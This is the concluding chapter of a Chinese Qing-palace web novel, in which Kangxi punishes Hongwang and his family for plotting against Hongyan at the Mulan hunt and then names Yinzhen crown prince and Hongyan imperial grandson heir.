“弘旺,你……”弘昇不可置信的看向弘旺。 随即,弘昇的脸色变得坚定:“皇玛法,这件事从头到尾都是弘旺谋划的,弘旺与弘晏有旧仇,更不喜弘晏受皇玛法偏宠,弘旺趁着这次狩猎,便要报仇雪恨,孙儿一时糊涂,便听信了弘旺的话,可弘旺分明与孙儿说,只要孙儿把弘晏引到那条路上,便用绊马索将弘晏绊下马,让弘晏躺上十天半个月,好尝尝他当日受二十大板之苦,孙儿这才偷了阿玛的令牌,交给了弘旺,却不知弘旺暗地里是要至弘晏于死地,还将一切都扣在了孙儿的脑袋上。” 胤禟这才明白过来:“怪不得你昨晚非要与我喝酒,原来是为了这个。” 话说着,胤禟上去就给了弘昇一脚,将弘昇踹翻在地。 他早就说过,让弘昇离弘旺远些,就是不听,如今害人害己! 郭络罗氏出声道:“九弟,汗阿玛面前,你就别演了。” 胤禟喝道:“我演什么了?事实如此,弘昇与弘晏并无冤仇,弘昇为何要铤而走险害弘晏。” 事情变得复杂,胤禛开了口:“汗阿玛,弘旺与弘昇各执一词,不如再审审这两个小太监。” 小瓶子听到要受刑,立马禀报:“皇上,奴才与小盒子只负责绊马索,放猎物吸引雍亲王世子的是小缸子他们啊。” 一起做下的事儿,凭何只有他们两个受罚。 小盒子叩头:“是啊,皇上,弘旺阿哥用家人性命威胁奴才与小瓶子,让奴才们坑害雍亲王世子,再将一切罪责扣在弘昇阿玛的头上。” 事情到了这个地步,再不供出幕后真凶,怕是真的要没命了。 一无所知的胤禩听到这里,心里已然明白,便站出来说道:“汗阿玛,小瓶子与小盒子当场翻供,证词不足为信。” “来人,将小缸子抓过来,在人前先打二十大板。”康熙话落,禁卫军便去抓人。 很快,叫小缸子的小太监就被抓了来。 惨叫是一声接着一声,小缸子招供了。 与小瓶子、小盒子说的一般无二,幕后指使之人是弘旺,也是弘旺用家人威胁,若是事败,便嫁祸弘昇。 令牌是弘昇自己偷的,而此次狩猎本就是胤禟负责安全问题,出了事儿,责任自然要落在他们父子二人头上。 弘旺的小脸已然白了。 他没有想到这万无一失的计划会失败,更没有想到小瓶子等人这么快就会翻供。 否则,就算事败,就算弘昇开口咬他,没有实证,他自然会撇的干干净净。 人证、物证俱在,真相已经大白,康熙冷冷的看向胤禩:“弘旺,这般筹谋是你一人所想,还是背后有人指点?” 成王败寇,弘旺认命了:“皇玛法,是孙儿一人所为。” “不!” 郭络罗氏冲出来跪在弘旺面前:“汗阿玛,此事是儿媳一人谋划,与八爷、与弘旺都不相干,请汗阿玛处置儿媳吧。” 弘旺连连摇头:“皇玛法,额娘是心疼我,才为我出谋划策,是孙儿铁了心要害弘晏,请皇玛法降罪。” “住嘴。” 郭络罗说完,抬手打了弘旺。 这是她第一次打弘旺。 “汗阿玛,儿臣的妻儿是一时糊涂,可弘晏如今好端端的站在这里,还望汗阿玛息怒。”胤禩跪完康熙,又站起身来去跪弘晏。 在胤禩跪下来的那一刻,弘晏被胤禛挡在了身后:“八弟,你这般行径,岂非要害我儿折寿?”【你现在阅读的是 】 第139章【正文完结】 第139章 第139章正文完结 胤禩有千错万错,也是弘晏的叔叔。 叔叔给侄子下跪,岂合祖宗家法? 事情到了这般田地,胤禩已无力回天,可最后还是想着要再害他儿子一回。 真是阴险至极! 弘晏走到了康熙面前,直接跪下,瘪着嘴可怜巴巴的说道:“皇玛法,在宫外,孙儿第一次见到弘旺,他抢了孙儿的糖人,还命手下教训孙儿,第二次,弘旺用爆竹吓唬孙儿,若非石泉护着孙儿,孙儿怕是毁容残疾了,今日这是第三次了,孙儿实在不知自己错在哪里,惹得弘旺这般记恨孙儿,要弄死孙儿不可。” 胤禩与他的便宜阿玛是一生的政敌,而弘旺与他也是水火不容,或许,这就是他命中注定的宿敌。 康熙扶着弘晏起来,随即开始处置众人:“八贝勒胤禩,乃辛者库贱人所生,柔奸成性,畏妻溺子,革除贝勒一爵,其子弘旺残害手足,杖打二十,与其父胤禩玉牒除名,圈禁宗人府,终身不得出。” 胤禩红了眼睛:“汗阿玛……” 辛者库贱人? 汗阿玛竟连他故去的额娘,都拉出来一并羞辱了。 康熙又看向了郭络罗氏:“胤禩之妻郭络罗氏嚣张跋扈,心思毒辣,着玉牒除名,遣还母家,朕爱新觉罗一族再无此蛇蝎毒妇。” 郭络罗氏整个人摊倒在地上。 胤禟听完了对胤禩一家的处罚,连忙磕头道:“汗阿玛,儿臣愿捐二十万两白银充入国库,还望汗阿玛看在弘昇受人蛊惑的份儿上,从轻发落。” 一旦进了宗人府,除了宗籍,这辈子再也无望翻身,且他们父子落在后人眼中,被史官写在史书上,便是数不尽的骂名了。 弘昇跟着胤禟磕头:“皇玛法,孙儿知错了。” 九福晋已然是泪流满面,一同跪下求饶。 这时,十阿哥胤俄站了出来:“汗阿玛,看在九哥往日的功劳上,还请汗阿玛给九哥和弘昇,一个改过自新的机会。” 弘晏看向了胤禟。 当初,胤禟让弘昇教唆弘时看禁书之时,可有想到弘昇也会有被人教唆蛊惑的一天。 康熙顿了片刻,开口道:“九贝子胤禟爵降一等,罚没白银三十万两充入国库,其子弘昇偏听偏信,念其被蒙骗,杖打三十,禁足一年。” 胤禟磕头道:“谢汗阿玛开恩。” 董鄂氏与弘昇接连叩头。 “凡事参与围场案的太监,一律杖杀。”末了,康熙朗声道。 小瓶子爬到了弘晏面前:“世子爷,您救救奴才,您答应要饶奴才一命的啊。” “我是说过会救你一命,可你骗了我,没有说出真正的幕后之人,这承诺自然算不得数。” 弘晏话音落下,小瓶子已然被禁卫军拖了下去。 弘旺和弘昇的大板打完之后,康熙命三阿哥胤祉、五阿哥胤祺、七阿哥胤祐带领侍卫将胤禩与胤禟两家人送回京城。 康熙现在一眼都不想瞧见他们。 事情了结,众人各自回营去了。 弘晏看向弘昼,有些后怕:“五哥,今日的灾祸都是冲着我来的,差点儿就连累了你。” 若非他瞥见了那红顶子,他与弘昼的性命怕是要交代在此处了。 弘昼摇头:“六弟,你要这么说,该是我连累你,那头鹿是我要去追的,若不是你,恐怕我就死翘翘了。” 弘晏小脸一板:“五哥,别说不吉利的话。” 弘昼忙道:“呸呸呸,我不说了。” 别说,弘晏板起小脸儿来,还真有几分像胤禛。 夜幕降临后,弘晏拎着食盒去了康熙的大帐。 外面守着的魏珠迎了上去,只道:“世子,皇上说了,谁也不见。” 弘晏笑得灿烂:“我给皇玛法送吃的,劳烦魏公公替我通禀一声吧。” “世子稍后。”魏珠说完就进了大帐。 很快,魏珠就出了大帐:“世子,皇上请您进去。” “多谢魏公公。”弘晏道完谢,便提着食盒进去了。 康熙坐在檀木榻上,只是昏黄的烛光映照在康熙的脸颊上,显得康熙苍老又憔悴了许多,头上更添了不少白发。 “皇玛法,我给你带了奶茶和牛肉酥饼,你尝尝看,这奶茶可是我学做的。”弘晏边说,边将食盒打开,将一碗奶 茶递给康熙。 康熙接过奶茶饮了一口,又掀起眼皮看向眼睛亮亮的弘晏:“味道不错。” “嘿嘿,皇玛法喜欢就好。”弘晏说着,又拿出一个牛肉酥饼递给康熙。 就这样,康熙左手端着碗,右手拿着牛肉酥饼,一口奶茶一口牛肉酥饼吃了起来。 而弘晏也捧着一个牛肉酥饼小口小口吃起来。 祖孙两个,就这么静静地坐着,吃着。 康熙吃饱了,用帕子擦了嘴,方看向弘晏:“福宝,朕今日对你八叔一家的处置,你觉得重吗?” 看着底下的子孙们自相残杀,弘晏知道康熙站在阿玛和玛法的角度来说,心里是不好受的,所以特意来看康熙,却不想康熙竟然主动提起了胤禩。 弘晏诚实的摇了摇脑袋。 康熙来了兴趣:“那你若是朕,会如何?” 弘晏将最后一口牛肉酥饼咽下:“在关进宗人府之前,总要让他们多受受皮肉之苦才行。” 康熙又问:“哦?那福宝是觉得朕这样的处罚,你还不够解气?” “皇玛法,弘旺一直视孙儿为眼中钉,肉中刺,他害孙儿,从未因为与孙儿是手足兄弟而心软过,是以,弘旺落得这般下场,孙儿觉得弘旺是罪有应得,若非老天庇佑孙儿,孙儿如今也没有机会再与皇玛法说话,更别说是否解气了。” 弘晏心里是这样想的,他便这样说了。 他很早就明白了,对恶人的心软,就是对自己的残忍。 康熙听完了弘晏的一席话,很是动容,恍然觉得眼前的弘晏长大了许多,抬起手揉了揉弘晏的脑袋:“福宝,今晚与皇玛法一同睡吧。” 身为帝王,他一直殚精竭虑,案牍劳形,做出了不少功绩,大清在他的治理下是国泰民安,四海升平,他不允许康熙帝这样有作为的君主在史书上留下半点儿污迹。 弘晏闻此言,点了点头:“好。” —— 禁卫军已然将木兰围场清理干净,一日后,狩猎继续。 这次,弘晏再无半点儿负担,全心全意的投入到狩猎中去。 待康熙制定的狩猎时辰结束,魏珠开始清点众人狩猎之物。 弘晏以一只狐、一只鹿、两只猪、四只鸡的成绩,成为了此次狩猎的魁首。 康熙将自己用过的长弓作为彩头奖赏给了弘晏。 待天色暗下来,康熙去了胤禛一家的营帐,与弘晏等人一起烤肉喝酒,好不快哉。 很快,木兰围场的狩猎落下帷幕,康熙传令下去,拔营回京。 回到了京城后,弘晏才知,八贝勒府已然被抄没,府里的下人跑的跑,逃的逃,从内务府里拨下来的奴才又被退回了内务府,重新安排去处。 胤禩的格格们,也都被贬为了庶人。 而弘旺的亲生额娘张格格在胤禩和弘旺被押送到宗人府的路上,终于亲眼见到了父子俩一面。 不过,直到弘旺踏进宗人府,他也没有认张格格这个亲额娘,更没有喊出一句“额娘。” 万念俱灰的张格格失魂落魄的走到岸边,纵身跳进了江里,很快就被湍急的水流淹没。 至于郭络罗氏,在被送回母家的第一天夜里,就悬梁自尽了。 外面的是是非非,并没有影响到和谐安稳的雍亲王府。 直到三日后,魏珠来了雍亲王府宣读圣旨。 胤禛率领家人一同接旨。 弘晏听得认真,这一道圣旨,是册封胤禛为皇太子。 弘晏觉得,便宜阿玛是当之无愧的。 就在弘晏准备磕头谢恩的时候,魏珠又拿出了第二道圣旨。 弘晏有些意外,怎么还有一道? 弘晏耐着性子继续听,可听着听着,弘晏诧异的抬起眼,瞅向魏珠手里的明黄圣旨。 皇玛法要册封他为皇太孙!!! 见弘晏愣神儿,魏珠笑着开口:“皇太孙,快接旨吧。” 弘晏这才回过神儿来,双手举过头顶接过了圣旨。 待魏珠走后,弘晏急忙打开了圣旨,这圣旨上一笔一划写得清楚,他确实被册封为皇太孙了。 弘晏到现在还有些懵。 翌日一早,胤禛带着弘晏进宫谢恩。 康熙交代了胤禛几句后,胤禛便离开了乾清宫,好让祖孙二人说体己话。 弘晏问道:“皇玛法,您为何要立我为皇太孙?” 康熙看向弘晏的眼神里满是慈爱:“朕说过,你是朕的爱孙,朕宠爱你是真,你出类拔萃也是真,朕觉得你担当得起‘皇太孙’这个位子。” 储位空悬一日,各方势力都盯着这个位子不放松,如今,也是时候定下来了。 至于弘晏,弘晏深受他喜爱,嫉妒艳羡者也甚多,经木兰围场一事,康熙便决定将弘晏捧上高位,他要让大清的臣民都知道,弘晏在他心中有不可撼动的地位和分量。 而他,亦是弘晏的靠山和底气,如今,弘晏名分已定,他看日后谁还敢不知死活的做些偷鸡摸狗的勾当。 弘晏听了康熙的话,十分动容:“皇玛法。” 皇玛法与便宜阿玛都爱他、护他,但他们都有自己要承担的责任和担子,并不能时时刻刻都在他的身边。 而他,虽然有好运气,但不能保证每一回都能化险为夷,是以,他只能自己强大起来,站于高位,这样不仅可以保护自己,保护身边的亲人,更能做自己想做的事情。 康熙如往常一样,亲昵的摸了摸弘晏的小脑袋。 半个月后,宫里举行了皇太子的册封礼。 一个月后,便是弘晏的皇太孙册封礼。 十二岁的弘晏,那张稚嫩的小脸儿已然开始抽条,在文武大臣庄严的目光中,一步步坚定的走向了位于高阶之上的康熙和胤禛,成为了大清历史上第一位皇太孙!【你现在阅读的是 】